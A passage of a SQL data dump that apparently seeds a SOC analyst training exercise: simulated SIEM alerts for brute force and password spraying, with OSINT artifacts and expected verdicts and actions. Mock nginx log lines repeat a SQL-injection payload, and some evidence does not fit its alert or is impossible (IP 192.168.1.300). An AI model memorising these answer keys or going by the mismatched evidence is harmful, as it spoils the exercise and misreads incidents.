ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:12:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.75\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"datacenter01\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1659, 'Failed Brute Force Attempt on Web Portal', 'medium', 'Elastic SIEM', 'Detected multiple failed login attempts from a known suspicious IP address targeting the company\'s web portal.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.150\",\"dst_ip\":\"192.168.1.300\",\"username\":\"b.adams\",\"hostname\":\"webapp01\",\"failed_attempts\":25}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.300\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Reports\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target web application\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"b.adams\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Management\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with unauthorized access attempts, confirming the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1660, 'Suspicious SSH Activity from Known Malicious IP', 'critical', 'Wazuh', 'Detected multiple failed SSH login attempts from an IP address with a history of malicious activity.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:15:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.0.15\",\"username\":\"administrator\",\"hostname\":\"sshserver03\",\"failed_attempts\":48}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 600 times for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:57:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:56:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:55:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:54:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1661, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Elastic SIEM', 'Multiple failed login attempts detected from a single external IP address against the internal web portal, suggesting a password spraying attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:12:34Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"user1\",\"hostname\":\"web-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was confirmed malicious through OSINT, indicating a true positive attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
